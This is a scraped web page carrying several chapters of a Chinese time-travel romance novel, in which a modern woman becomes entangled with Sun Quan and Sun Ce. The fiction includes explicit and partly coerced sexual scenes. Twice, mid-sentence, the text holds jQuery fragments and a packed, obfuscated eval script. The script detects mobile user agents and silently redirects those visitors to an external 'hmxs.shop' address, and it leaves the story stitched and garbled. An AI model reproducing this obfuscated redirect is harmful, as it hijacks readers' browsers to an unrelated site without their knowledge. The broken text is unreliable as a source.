$(''#content'').append('' 眸见她肩膀和后背肌肤裸露,不及细想,便下意识地拉过自己散落的外衫,将她严严实实地裹住。 “美人儿,跟爷说说名字?”步一乔得寸进尺地用手指轻轻戳了戳他的脸颊,撩了撩他的下颌。 “嗯?”孙权疑惑。 步一乔惊觉,忘了眼前是古风美男,可说不得青楼那套戏词。她吐了吐舌头,没有退开,反而就着裹紧的外衫,在他臂弯里又蹭了蹭,找了个更舒服的姿侧卧着。 “玩笑话,别当真。”她赶忙找补,转而用更正经的语气问道,“不知公子可否告知姓名?” “嘶——不可。” 孙权试图偏过头去维持镇定,但鼻尖萦绕着她发间陌生的清香,让他有些心神不宁。 不是皂角的气息,似花香,沁人心脾的花香。 “为何?姓名而已嘛。”步一乔不解地追问,手指无意识地卷着他外衫的衣带,“告诉我吧。” “不可坏了我在世人眼中的形象……”他低声解释,目光却不由自主地落在她缠绕衣带的纤指上。 好瘦的胳膊。明明瘦弱,却格外有力。这双手不像农家妇人之手,莫非是士族家的小姐?还有她方才穿的衣裳…… 脑海中一闪而过步一乔一览无余的身子,孙权差点头晕目眩仰头倒过去。 步一乔了然道:“啊!我懂。放心!缓过神来,我就走,绝不大肆宣扬。再说,这跟我的妇道有关,不丢你的面,也丢我自己的啊。你就安心告诉我吧?” 孙权感受到她的靠近,身体再次微僵,面上却故作男德,强装冷淡。 “嘶——不行。” “啧,你这人怎么这么扭扭捏捏的!”步一乔佯装生气,鼓起脸颊,伸手轻轻推了一下他的肩膀,“那说一个字,一个字总行了吧。” 孙权看着她娇嗔的模样,沉默片刻。姓氏是断不能说的,吴郡谁人不识孙氏。单说一个“权”字,也太过明显。可这姑娘不似江东人,甚至不似这世间凡人…… 或者说心底,想与她相识。 “权。”他最终吐出一个字。 “权?怎么写的?”步一乔眼睛一亮,立刻抓住他的手腕,摊开他的掌心,自己的指尖在上面比划,“是这样一个点,再一横一撇那样的权吗?” “不可说。” 孙权猛地收拢手掌,原意是想藏起掌心,却适得其反,将步一乔的手攥入掌心。 本该立刻松开的……但他不舍。 “行吧。”步一乔撇撇嘴,终于暂时放弃追问。 她仰头望着撑开天地的树冠,阳光透过枝叶在她脸上跳跃。她忽然噗嗤一笑,自言自语道: “天上掉下个权弟弟……噗嗤,今儿的梦还挺有意思。” “弟弟?姑娘比我年长?” 孙权捕捉到关键词,微微挑眉,看向她明显稚气未脱的侧脸。 大概是身形消瘦纤细,不大看得出这姑娘的具体年纪。好在脸颊还带着点未褪的软肉,透出充沛的血色,显得气血十足,这才流露出几分符合年龄的娇憨。 “应该是吧?我今年二十,你呢?”步一乔转过。 “……我也是。” 居然是同龄?!步一乔暗自诧异,古人不是老得快吗?她忍不住仔细端详起近在咫尺的这张脸,皮肤光洁,眉眼英挺,确实年轻得很。 “天上掉下来……”孙权随着她的视线抬头,低声沉吟恍惚,“于我而言,姑娘也似天仙,从天而降……” “你嘀嘀咕咕说什么呢?要说话就大声点。”步一乔不满地用手肘轻轻碰了碰他。 “我在作诗。”他故作镇定地答道,目光却有些飘忽。 步一乔却突然愣住,脑中电光石火般闪过一个念头。她猛地凑近孙权,几乎鼻尖相触,上下打量着他通身的气度,眼神里充满了惊疑和探究。 “权……嘶……” 她吸了口凉气,难以置信地压低声音。 “你不会是孙权吧?” 20. 千里清光 “孙权”二字脱口而出的瞬间,步一乔眼中是印证猜想的兴奋,而孙权眸底则是身份被道破的惊愕,以及一丝难以言喻的、仿佛被看穿全部的悸动。 “其实……方才我同姑娘说了谎。” 短暂的沉寂后,孙权抿了抿唇,试图用平静无波的语调掩饰内心的波澜。 “我名中不带权字。实为……孙氏。时任江东……之主。” 显然,聪慧过人的孙仲谋已经被眼前的姑娘搞得脑袋晕晕,尽说胡话。 理智在疯狂叫嚣此举的鲁莽与危险,但一种更强大的本能,一种渴望在她面前袒露真实、甚至渴望与她产生更深刻联结的本能,驱使着他说出了这足以招致杀身之祸的秘密。 他甚至不知她姓名。 此刻他仿佛不是江东之主,只是个在她面前不知所措的少年。 “孙氏?!江东之主?!哇……”步一乔睁大了眼睛,惊叹出声,“孙策……你是孙策!” “啊?”孙权一时没反应过来,怔愣地看着她,“你认识兄——孙策?” 他险些说漏嘴。 步一乔理所当然地反驳:“认识他不是很正常吗?” 孙权想纠正自己不是兄长,话到嘴边,步一乔拉长音调发出悠长的哈欠,又往他怀中蹭了蹭。 “罢了就当你是孙策吧。皆是美男,供我梦中作乐~”困意袭来,她梦呓般噙着笑喃喃,“以后,要多出现在我的梦境啊。” “梦境?” 孙权低头看着怀中毫无防备、即将沉入梦乡的姑娘,心头涌上一股难以言喻的复杂情绪,有无奈,有荒谬,也有一丝连自己都不愿承认的失落。 他轻轻重复着这个词,唇角泛起一丝苦涩的弧度。 “是啊,如此光怪陆离,如此……虚幻不真实……或许,真是大梦一场。” 他偏过头,克制地、轻柔地将一个微凉的吻,印在她的额角。 “好,”他低声应允,生怕惊扰了这场易碎的幻梦,“我答应姑娘,一言为定。” * 足足睡了一个时辰(两个小时),步一乔才悠悠转醒。意识回笼,她发现自己仍靠在那个温暖坚实的怀抱里,甚至枕着对方的手臂。 她揉了揉眼睛,抬头便撞入那双深邃依旧,却似乎多了些什么难以名状情绪的眼眸。 “手臂麻了?”步一乔问。 孙权摇头:“许久未曾睡得如此深沉,挺好……” 步一乔万万没想到自己有一日会沦为男人的抱枕,不过不得不承认,枕在他怀中确实睡得不错。 哪怕是梦里。 * 也到了该梦醒的时候。 步一乔坐起身穿上衣裳,拉上运动服的拉链,站起身穿上运动裤。 “对了。”她粲然一笑,垂眸望向仍坐于树下的孙权,“我叫步一乔,与这个时代的步氏一族毫无瓜葛,你可别找错了人,平白给人家添麻烦啊。” 这是她留下的、带着玩笑意味的撇清,也是她唯一能给的“真实”。 随即,步一乔眨了眨眼,带着一丝戏谑的坏笑,蹲下身凑近他面前,问出了那个让孙权瞬间耳根爆红的问题。 “不过……虽说是我强迫你,但你应该也……乐在其中吧?初夜的感觉如何?”她不等他回答,自问自答般地总结,带着点小得意,“你是第一次,我也是,我们扯平啦!” 软无力的手在空中挥动着,步一乔走回自己醒来的地方,而后坐在原地闭目养神,不出意外,回到了现代。 而建安七年的林间,留下的孙权一人怔怔地靠坐在树下,怀中似乎还残留着她的温度和重量。他抬手,指尖无意识地拂过自己的唇角。 良久,他才望向头顶遮天蔽日的树冠漏下的细碎天光,恍若隔世,似问似叹: “天上掉下个……乔妹妹吗?” * 国庆假期结束,马不停蹄地抓住室友霖霖,迫不及待地要分享这个“惊天动地”的好消息。 霖霖皱眉震惊:“你的春梦已经进阶到古风版了吗?” 步一乔也皱着脸感慨:“真的很帅!一整个长在我的审美上!看着我就想挼他的脸!脸摸着超舒服!不过我梦见的应该是年轻版的孙策,感觉像个弟弟。” 她单手撑着脸,努力回想,却发现梦里那张俊朗的面容在记忆中渐渐变得模糊,只剩下一个轮廓和那种令人心跳加速的感觉,但即便如此,残留的印象依旧是那么鲜明,英俊潇洒,令人着迷。 “孙策……孙、策……嘿嘿~好帅啊~” * 自那日山野一别,步一乔便光荣登上了“孙策梦女”的位置,时常对着史料插图傻笑。而一千多年前的江东,孙权则不断催眠自己,那场荒诞又悸动的邂逅,不过是南柯一梦。 然而,命运偏偏有着最顽劣的幽默感。 偏偏命中注定的那一刻,该是梦中的人,从墙角上摔下,地牢的那一吻,跌碎了虚幻。 “不是梦境……是与两年后初遇的人……重逢?” 孙权看着眼前这位刚吻过他、又义无反顾闯入火海的姑娘,心神剧震。 到底在说些什么荒唐话,都乱了,都错了。 “这到底是重逢还是初遇?抑或是……一见钟情?” 难道是因为一见钟情太过猛烈,才凭空生出了这刻骨铭心的“久别重逢”之感? 当仆从惊慌来报,发现兄长孙策昏迷在池边时,孙权的第一反应竟是急切地环顾四周,寻找那道身影。 果然,她又不见了。如同上次一样,在他稍不留神的瞬间,悄然离去。 “步一乔……一乔……你不是梦……” 一股巨大的失落与恐慌攫住了他。孙权眼眶发烫发热,但不敢哭,因她一句“不许再哭了,像什么样子”。 “我才刚认识你,便是永别吗?” 远处,步一乔隐于暗处目睹一切,也读懂了孙权的唇语,拉上运动外套的拉链,悄然没入夜色。 再次回到冰冷的时空棺内,步一乔仔细校准目标时间后,以极其安详的姿态躺好,闭目。 “太可怕了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467255|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来这么一回,差点把命搭进去……整死都不来了!”她心有余悸地嘟囔,“什么永别,我们压根就不算认识……” 可另一个念头却不受控制地浮现。 “抱歉了弟弟,抢了你的初吻。不过……为何吻上去的感觉,竟有几分似曾相识?” * 再见面,是在廊下阶前。 孙权刚从庐江风尘仆仆返回吴郡,听家中侍从禀报,说府中近日暂住了位步姑娘,不知从何处而来,颇有些蹊跷……后面的话他已无心再听,马不停蹄地奔向了客舍。 当那个在记忆中反复摩挲、既清晰又模糊的背影真真切切映入眼帘时,孙权僵在原地,难以置信地盯着步一乔哼唱着小曲的闲散模样。 是她……真的是她…… 不是地牢水汽氤氲中的幻影,不是山野林间易碎的迷梦。她就那样鲜活地在那里。一股巨大的酸涩直冲鼻尖,眼眶不受控制地发热,他险些又要在她面前落下泪来。 步一乔似乎察觉到身后灼热的视线,疑惑地回望而来。 四目相对,一半是熟悉一半是陌生。 “二公子寻我何事?” 一句“二公子”,如同冰水浇头,瞬间将孙权从失而复得的狂喜中冻醒。委屈、愤怒、还有一种被彻底忽视戏弄的痛楚,猛地攫住了他。 第一次,她强迫他翻云覆雨;第二次,她夺去他的吻,闯入他的世界,再次不告而别;第三次,她竟能如此坦然,装作素不相识的模样? 分明是风流成性、草莽轻浮! 一股压抑已久的、近乎破罐破摔的冲动,混合着强烈的占有欲和报复心,在他心中疯狂滋长。 她可以如此,那我是不是也可以? 那夜,在郡里以孝廉被举荐,在州里以茂才被举荐,素来克己复礼的孙仲谋,做出了他此生最为大胆、与他十九年所接受的仁义礼智信全然背道而驰的举动。 “不行!你这么搞,我要是怀孕了怎么办!” “那就怀,我娶你,明日便娶你。” 什么明日,他巴不得眼下执起她的手,以天地为证,就地结为夫妻。 “怀你个头啊!不可以!”步一乔简直要疯了。 孙权没好气地撑起身子,居高临下地瞪着她,烦躁地咋了下舌。 “你到底要不要我进去?” 学着她在“初夜”说的话,话音落,孙权惊觉:原来自己已在无形中,将她如此深沉地刻入灵魂了吗? 可她却当真爱上兄长,把自己忘了。 孙权将所有挣扎、克制、礼法统统抛诸脑后,遵循着心底最原始的渴望与愤怒,攫取了他思念了无数个日夜的温热与真实。 待到风歇雨住,他看着怀中惊愕茫然、眼角犹带泪痕的步一乔,心中翻涌着复杂的快意与更深的痛楚。他偏过头,避开她难以置信的目光,仿佛在说服自己,又像是在对她宣告: “事已至此,随你如何想。若要告予兄长或母亲,悉听尊便。” “是你欺骗我在先……我们,扯平了。” 21. 箢云梦 感觉脚不小心到了被窝外,步一乔被寒气猛地惊醒,赶忙把脚收回来。 天还未亮,炉子里的火也快熄灭,约莫时间凌晨两三点吧。 步一乔打了个冷颤,没办法,只好硬着头皮转过身去,往床榻中间的取暖器挪了挪。 孙权感受到人往这边挪了点,迷糊着睁开眼,检查了下被子包裹得是否严实,而后把步一乔圈在怀中,两具身体依偎着替她暖和暖和。 男人的体温为什么就是比女人高一些呢? 步一乔心底纳闷,谴责着贪图温暖出卖身体的自己。 “不过真的好冷啊……快下雪了吧?”她抬眸看了眼孙权的下颌,心一横,又往他身上钻了钻。 夜里似乎做了个梦,梦见了自己第一次在梦中与孙策幽会的场面。人从天上掉下来,别扭着不肯告诉自己姓名。 这性子不太像孙策,倒是和某人挺像。 又约莫睡了一个时辰,步一乔悠悠转醒,发现自己仍靠在温暖坚实的怀抱里,枕着孙权的手臂。 她揉了揉眼睛,抬头便撞入那双早已醒来,深邃依旧的眼眸。 等等……这一幕,怎么感觉似曾相识?步一乔皱着眉苦想,可怎么也想不起。 是曾经做的一场梦吗?大概是吧,人不是经常有这种现实与梦境恍惚的错觉吗。 “嘶……权……” “嗯?”闻声,孙权睁开眼看着怀里一脸苦恼的人,“睡不着?” 步一乔本不想作答,又怕气氛被自己搞得尴尬。反复睡了几次的人,初夜那般使哼发气、哭哭啼啼的样子再也做不出来,倒不如心安一点去接受它。 内心愧疚伯符罢了。 “冷飕飕的,睡不着。” 孙权沙哑着嗓音蹭了蹭她的发顶,“我陪你说说话?” “……我与你,无话可说。” 孙权轻笑,“以牙还牙?” 步一乔颇为得意地仰起脸,额头贴在孙权的颈动脉上,口鼻呼出的气息正好扫过他的锁骨窝。 “今天年二十九,我要和伯符去祭祀。” 她故意的,想到他会因为提到伯符而生气,故意说给他听。 这话果然引得孙权皱眉。 “只是你和兄长吗?” “嗯。”步一乔见他脸色霎时暗沉到快溢出杀气似的,得逞地改口道,“还有你的一众兄弟姐妹,以及即将过门的两位夫人。” 孙权脸色倏地更沉下来,这次是真有杀意。气呼呼的手在被褥下覆上步一乔的腰背,把人按向自己紧贴住。 “无妨,那我便趁着人多眼杂,将你带走,只你我单独相处。” “嘁,小气鬼。不对,你这叫什么?病娇?你可就差把我囚禁起来了。” 见步一乔没心没肺地呵呵笑,孙权就着怒气把人一下圈紧,勒得步一乔“嗷”了声,一巴掌招呼在他胸口。 “待江东霸业成就之日,我便修一座宫殿,将你禁足在后宫之中。” “啊,建业宫……” 孙权称帝迁都南京,修建业宫。以此,南京开启了其“六朝古都”的历史。 小小孙权居然道破了天机! 步一乔心一横,卷走被子,让孙权整个暴露在空气中,瞬间起了一层细小的疙瘩。 “你——” 步一乔把整团被子卷在身上,背对着他,只露出一个毛茸茸的后脑勺。孙权伸手轻轻拽了拽被角,纹丝不动。 “分我一点。” 步一乔装睡,肩膀却微微耸动。孙权凑近了些,温热的气息拂过她的后颈:“我知道你醒着。” 后颈痒痒的,她猛地翻身,两人顿时面对面陷在柔软的枕头里。被子被步一乔紧紧攥在胸前,只露出双坏笑的眼睛。 因睡不惯古人的瓷枕木枕,步一乔偷摸着找了些布料,自制了软和一些枕头。 至于为什么这枕头现在在孙权床榻上?方才办完事儿,要睡了,步一乔非得推着人,去她卧房取来的。这事儿又不可招呼侍从去做,只有某人顶着寒风亲力亲为了。 “试探一下你怕不怕冷。”步一乔挑眉,脚踝无意间蹭过他冰凉的小腿,倏地缩回。 孙权趁机抓住被角,佯装投降道:“现在怕了。” 他的膝盖抵进她两腿之间,形成一个暧昧的桎梏。步一乔想要后退,却发现早已抵到床沿。 步一乔:“退、后!” 孙权:“不、退。” 凌晨三点,拉扯间被褥成了他们之间的战场。步一乔突然松手,孙权因惯性向后仰去,她趁机翻身压住被角,散落的长发扫过他的胸膛。 “使诈?”孙权眸色暗沉,握住她手腕的力道却轻柔。忍不住送往唇边,亲吻她的腕处。 步一乔俯身,鼻尖几乎碰触到他的,呼吸交织成网。 “这叫兵不厌诈。惩罚你昨晚叫停了还不住手。” 她屈起的膝盖想挪动位置,不经意擦过他大腿内侧,两人同时僵住。 “呃……我不是有意——” 孙权突然翻身将她笼罩在阴影里,被子在混乱中滑落腰际,露出他紧实的后背。步一乔的手无意间按在他赤裸的胸口,掌心下的心跳快得惊人。 自己的也是。 “我以为那是你在欲拒还迎。”他浅笑着低声说,“看来得定一下规矩了。当你说某个词时,我便及时收手。” 步一乔轻挑眉,“安全词?东汉末年就有安全词了吗?话说这东西不是同性漫画里才有的吗?BG也有?” 孙权听不懂她在嘀咕什么,自顾思忖制定个什么词好。 “有什么想法吗?”他问。 步一乔松开攥着被角的手,缓缓攀上他的脖颈,将他的温暖融入自己,再分不清彼此的温度。 “仲谋……” “……你叫我什么?” 步一乔还是第一次唤他仲谋,不带孙字。 “我说安全词呢。往后我快不行了,便唤你仲谋,你就得停,知道吗?” 孙权无奈笑了声,“就这么不情愿叫我的名字?非得放在这种时候。” “嗯!就是不想叫。”步一乔仰起头吻上他的唇,“实践一次?” 吻沿着颈侧一路向下,被褥内温度攀升,屋外白雪簌簌。 “不对!”步一乔突然惊醒,推开压在身上的重物,“怎么就默认我要和你绑定了?!” 这就是……既然要追求刺激,就要贯彻到底吗! * 雪霁晌午,长街喧闹,众人皆着厚衣出府。周瑜与小乔已候在门外,准备一同前往祭祀坛。 吴夫人见今日年轻人齐聚,满心欢喜,特意拉着谢姑娘的手走到孙权身边。 “仲谋,今日可要照顾好谢姑娘。” 两位年轻人相视一礼,彼此颔首。谢姑娘生得端庄温婉,与徐姑娘确是截然不同的韵致。 步一乔缀在人群最后,将自己隐在身影交错处,静静望着眼前一切。 “一乔。” 小乔轻快地小跑过来,亲昵地挽住她的手臂,“雪后路滑,我们挽着走稳当些。” 步一乔直言拆穿:“是有话想对我说吧?” “姐姐寄信来问候我二人可安好。今年春节,只有父亲和姐姐度过,不会太冷清吧……” 见小乔神色落寞,步一乔伸手轻轻揉了揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467256|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脸颊。 “好啦,别胡思乱想。说不定没有你在,他们过得格外清静自在呢。” 小乔顿时鼓起腮帮,侧身用胯轻轻撞了下步一乔。 “怎么样?和周公子相处数日,可有何感想?” 小乔羞红着脸,“挺好。” “没了?”步一乔吃瓜的表情愈发变态,“这么冷的天,两个人没——” “胡说什么!”小乔羞恼地瞪了她一眼,“礼未成,岂可行越矩之事?” “……说得也是。”步一乔莫名心虚。 前方,孙权与谢姑娘相谈甚欢,言谈间从容自若。此刻的他是众人眼中的孙仲谋,沉稳持重,与同自己说话时的模样判若两人。 “谢姑娘似乎很中意仲谋呢。”小乔窥破她的心思,故意说道,“听说吴夫人此次邀谢氏前来,除了共度正旦,也是为二人的婚事打算。” “是啊。”步一乔呵出一团白雾,“吴夫人还问我,他们看起来是否般配。” “你如何回答?” “自然是天造地设的一对。”步一乔的目光飘向正挽着吴夫人的徐姑娘,“那位,也很般配。” 小乔顺着她的视线端详徐姑娘片刻,轻声道:“那位……是亡夫之妻吧?” 步一乔倏然转头,诧异她竟知晓此事,随即想起她家中那位无所不知的夫君,还有这府中从不缺席的闲言碎语,便咽下了追问。 * 行至祭祀坛,香火缭绕,人声愈盛。随着人流推挤,众人渐渐走散。小乔已与周瑜并肩祭拜,步一乔搀扶着吴夫人,身后随着孙策、孙权与谢姑娘。 望着坛前鼎盛烟火,步一乔不禁轻叹:“想不到江东地区的春节是这样的,好热闹啊。” 吴夫人闻言笑着拍拍她的手道:“傻姑娘,这白雪皑皑的,还没到春节呢。” 突然被点醒,步一乔讪讪笑了笑,小声嘀咕道:“差点忘了,东汉末年该叫正旦来着。‘春节’这叫法都到民国——” “民国”二字脱口而出的瞬间,她喉头一紧,余音戛然而止。 仿佛被冰雪猝然浸透全身,步一乔猛地打了个寒噤。脖颈僵硬地转向身侧,方才还挽着她手臂说笑的人,此刻竟杳无踪迹。 “不见了……她去哪儿了?” 吴夫人被她煞白的脸色与骤然失态惊着,连忙拉住她冰凉的手:“怎么了?在找谁?” “……没、没谁。”她垂下眼帘,竭力藏起慌乱。 步一乔的脸色霎时没了血色,肉眼可见的急切。嘴上是把吴夫人糊弄过去,可眼睛没放过任何一张相似的脸。 后方的孙权察觉异样,正要上前,衣袖却被轻轻拉住。 谢姑娘仰首望他,眼波流转,双颊绯红,朱唇轻抿: “仲谋……可否借一步说话?” * 步一乔在人潮边缘寻见了那个身影。她正独自立于树下,似在祈福,又似在等待。 “小乔姑娘!” 步一乔的声音让树下那人应声回头。 “一乔?怎么了?” 步一乔看着眼前的姑娘,竟不知如何开口,一股害怕从心底蔓延。幸好周瑜不在,定要问个清楚。 “我……真的该叫你小乔吗?” 小乔抬眉,作不解状:“这是何意?” “春节……”步一乔不禁吞咽,“这个说法,是民国以后才兴起的。民国以后的人才会这么叫……” 话音落下的瞬间,万籁俱寂。 纷扬的雪,毫无征兆地再度飘落。 步一乔的目光如锁链般紧扣对方毫无波澜的双眼。 “你到底是谁?” 22. 尘中游 “我是小乔啊。”她无奈轻笑,“自幼在桥府长大,与姐姐相依为命——” “长大?”步一乔敏锐地抓住这个词,“你并非在那儿出生?” “你还真会挑字眼。” “你也是……不属于这个时代的人?” “也?”小乔纯然歪头,“你不属于这里?你从别的时间来?” “是,我是穿越来的。”步一乔索性坦白,“你呢?” “我是吗?”小乔唇角微扬,反问,“你觉得我和你一样,是从未来穿越而来的?” “不对吗?” 小乔摇头:“不过有一点你说对了,我确实来自千年以后,但,和你不一样。” “什么意思?” 就在这紧张万分的时刻,步一乔眼角的余光突然瞥见人群中,一个身影正悄然逼近孙策。 “伯符小心——!” 她来不及呼喊,整个人已猛冲过去,然而忘了脚下是刚落雪的湿滑青石板。 只听“欸?”的一声,她竟在空中做出满分十分的侧转体,“噗通”栽进了路旁结着薄冰的水池。 刺骨冰水瞬间裹住全身。 “啊啊啊啊啊啊!好冰!” “一乔!”孙策的惊呼声和小乔的喊声重叠。 下一秒水花四溅,孙策毫不犹豫地跃入池中,三两下就将冻得直哆嗦的步一乔捞起。 “一乔你没事吧!”小乔急忙解下披风,在人上岸的瞬间紧紧裹住。 “有……有刺……”步一乔牙齿打颤,仍挣扎着指向那个方向。 孙策望去,只见围观人群,并无异样。他低头看着怀里冻得嘴唇发紫、还在扑腾的“女侠”,一时不知该气还是该笑。 “寒冬腊月的,你也不怕冻病了。” “救你……要紧……阿嚏——!” 孙策顾不得浑身湿透,一把将步一乔打横抱起,朝最近客舍狂奔而去,留下一路水渍与目瞪口呆的众人。 “阿嚏——!”步一乔被自己响亮的喷嚏震得脑袋发晕,迷迷糊糊间,只觉得孙策的怀抱……竟格外暖和。 “把你……弄湿了……阿嚏——!” “我无妨。”他转头对紧跟而来的小乔道,“待会儿劳烦乔姑娘为一乔更衣,我去寻些驱寒汤药。” “将军也湿透了,需先更衣再去。”小乔提醒。 孙策颔首,看着怀中瑟瑟发抖的步一乔,低声道:“傻姑娘,你可不能生病啊。” * 吴夫人抚着心口,余悸未消:“怎地这般不小心?方才听到消息,险些把我吓晕过去,可担心坏了。” 步一乔裹紧客舍的被褥,鼻尖通红:“抱歉,没留神脚下就……就阿嚏——!” “这儿暖和,且先歇着,等身子舒爽了再动。”吴夫人说着,转头吩咐下人去府中再取厚被褥来。 “母亲先回吧,”孙策接口,“我陪一乔在此暂住一宿,明日便赶回府中过正旦。” 吴夫人点头,临行前用手背轻贴步一乔的额头,温声道:“万万不能生病啊,我还盼着你与伯符的婚宴呢。” “是……” 婚宴的日子定在正月初五,孙府近日忙前忙后也为此事。若是这样病下去,恐怕日子得挪后,或者取消。 好像……还挺庆幸这一倒霉事儿的?对步一乔而言。 顶替了大乔成为“大乔”,嫁给自己喜欢的人,确实不错……唉,自己何时成了如此多愁善感、反复无常的人了? 都怪他。 “仲谋呢?”孙策忽然问起。 吴夫人抿唇一笑:“和谢姑娘不知绕到哪儿说话去了。这孩子,果然还得我亲自推一把才行。” 步一乔听得真切,目光怔怔地落在火盆中明灭的木炭上。 吴夫人顺势在她身旁坐下,温热的手掌握住她微凉的指尖,絮絮说道:“早该成亲的,仲谋那孩子却一而再再而三地推拒。我问他是不是心里早有了人,若真有,我这做母亲的便豁出脸面上门为他说合,可他偏又含糊其辞,一个字也不肯吐露,真真急煞人。” 孙策闻言,指节轻轻抵着下颌,沉吟道:“我曾听仲谋酒后念起过,似乎是位姓步的姑娘。”他略一停顿,似在回忆,“自我攻取庐江后,确有一位步氏女子,因其才貌双绝,名动江淮,军中将领亦有所耳闻。” “莫非是淮阴步氏?”吴夫人眼眸一亮,了然般连连颔首,“如此便好!待正旦一过,我定要亲自登门拜访,好好瞧瞧这位步姑娘是何等品貌,竟能让吾家这块顽石开了窍。” “步……姑娘?” 始终沉默旁听的步一乔,在听到这三个字的瞬间,只觉得耳边“嗡”的一声巨响,仿佛所有的声音都瞬间褪去,只余下尖锐的鸣响在颅腔内震荡。 她听清了母子二人对话中的每一个字。 姓步的姑娘。 淮阴步氏。 那个在史书中与孙权名字紧密相连,被他倾尽一生所爱,最终追封为皇后的女人—— 步练师。 步练师……步练师……步夫人…… 这算不算是……真爱出现,白月光即将退场的前奏? 原来,历史的轨迹早已写好,步一乔此刻的纠结与那点隐秘的悸动,在既定的命运面前,显得如此荒唐可笑。 她好像明白了。 为什么两次无法改写伯符的结局,时间悖论下,所有人都残留着奇怪的残影。 历史,终究是无法改变的。 她步一乔,无法成为改写历史的女人。 * 吴夫人离开后不久,客舍的门“哐当”一声被猛地推开。 孙权神色仓惶地冲进屋,发丝和肩头还沾着未拂去的雪粒,气息微喘,显然是疾跑而来。 看到床榻上包裹严实的步一乔,他面上的情绪显而易见。若不是身后跟着谢姑娘,屋内还有小乔和孙策,只怕他会直接哭出来。 孙策闻声抬头,语气责备道:“仲谋,慌慌张张,成何体统?” “这……怎么一回事?”孙权的声音发紧,差点泄露了情绪。 步一乔勉强扯出个笑,想轻描淡写地带过:“不小心掉水里去了……二公子不必担心。” 言外之意是想孙权不必担心自己,却不想孙策插进话来:“傻姑娘以为有人要行刺我,冲上来相护,谁知脚下打滑,自己栽进了池子里。” “为保护兄长么……” 无声闷热的室内,只有步一乔明白孙权此刻想的什么。 谢姑娘适时地在榻边坐下,取出绣帕,轻柔地为步一乔拭去额角的冷汗。 “明日兴许就没事儿了,还没和姑娘打糕吃呢” “打糕……” 谢姑娘说的是前些日子在府上帮忙,两个人无意间聊到糕点,并相约年三十这日,一起打糕给众人尝尝。 步一乔勉强笑着点头,“嗯,答应姑娘的,不会食言。” 嘴角还挂着勉强撑起的笑意,但她的全部心思,早已被孙权与谢姑娘方才那一段“单独相处”牢牢攫住。 他们去了哪里?说了什么?是否……有了她不知道的进展? 室内因炭火盆而闷热,但这股燥热似乎只灼烧着她一人。 昨日是徐夫人,今日是步练师、谢姑娘,全围上来了。 步一乔的目光不受控制地锁定在孙权同样注视着自己的眼眸中,他肩头的雪已然融化,留下深色的水渍。 “二公子……”她终于忍不住探询,“方才与谢姑娘去亭中,没淋到雪吧?” 这话问得突兀,甚至有些失礼。孙策略带诧异地看了她一眼, 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但她最终只是将脸往软枕里埋了埋,闷声道:“抱歉,我有些困了,想睡会儿。” 孙权下意识想上前,却被孙策一个眼神无声拦下。微妙中,三个人默默退出室内。 * 趁着孙策出门寻药,室内只剩小乔和步一乔。小乔又一眼看破了步一乔的心事。 “你这人,心思真是反复无常。方才连命都敢拼,此刻却又神思不属。你到底是喜欢孙策将军,还是他弟弟仲谋啊?” 步一乔哆哆嗦嗦地抬起头,半眯着眼,执拗地重复道:“你……刚才的问题回答我之前,我不会回答你任何问题。” 小乔凝视她片刻,忽然噗嗤一笑,笑意冲淡了方才的紧张。她走上前,张开双臂,将裹得像粽子般的步一乔轻轻拥住。 “罢了,看你可怜巴巴的样子,真叫人心疼。哦,当然,心疼你的,想必不止我一人……还有伯符将军,以及……那位孙仲谋。” 她脸上是看穿一切的了然,步一乔无力争辩,只觉得浑身难受,仿佛再多说一句,积压的情绪就会如岩浆般喷涌,让她恨不得一脚踢翻那盆灼人的炭火。 小乔的声音低沉下来,带着对某种回忆的眷恋。 “你可知,我初见你那日有多高兴吗?虽是不曾见过的衣裳,但我的直觉说,你与我一样,是从天而降的不速之客。” 步一乔一把抓住她的手,“你果然是穿越来的!” “是,”小乔迎上她的目光,坦然承认,随即话锋一转,“但,也不是。” 步一乔快急死了,只觉得头痛欲裂,一种无力感攥住了心脏。她将发烫的额头无力地靠上小乔的肩头,呻吟道:“好难受……要死了……” “哪儿不舒服?头疼吗?”小乔立刻关切地问。 步一乔摇头,道:“脑袋,心脏,还有眼眶。” 小乔温柔地抚摸着她的发顶,轻声吟诵:“生子当如孙仲谋……你呢?你心里,是怎么想的?” “……刚才的问题回答我之前,我不会回答你任何问题。”步一乔固执地重复。 “怎么还是这句话?”小乔无奈地笑了,“我不是回答了吗?‘是,但也不是’。” “我听不懂。” 小乔轻叹一声,叹息里是苍凉的,而后开口: “我确实是穿越而来,但与你不同,我……并非活着来到这里的。” 步一乔猛地想直起身,却被小乔轻轻按住。 “不是……活着的时候?”她难以置信地重复。 小乔平静地点头,眼神仿佛穿透了时空,望见了某个遥远的终点。 “在穿越至此的前一刻,我……已面临死亡。” 23. 俱往矣 “一乔是从何而来?” “……2025年。” 小乔眉梢微挑,流露出一丝恍然与趣意:“想不到你我之间,竟也隔了百年光阴。” “百年?!” 步一乔惊得险些从榻上弹起,随即被一阵剧烈的咳嗽摁了回去。 “别急呀,”小乔忙为她抚背顺气,“要不……等你病好了再说?” “不行!”步一乔抓住她的衣袖,咳得眼角泛泪也要坚持,“现在就告诉我!” 小乔见她如此,只得妥协,轻声道:“我生于民国四年——” 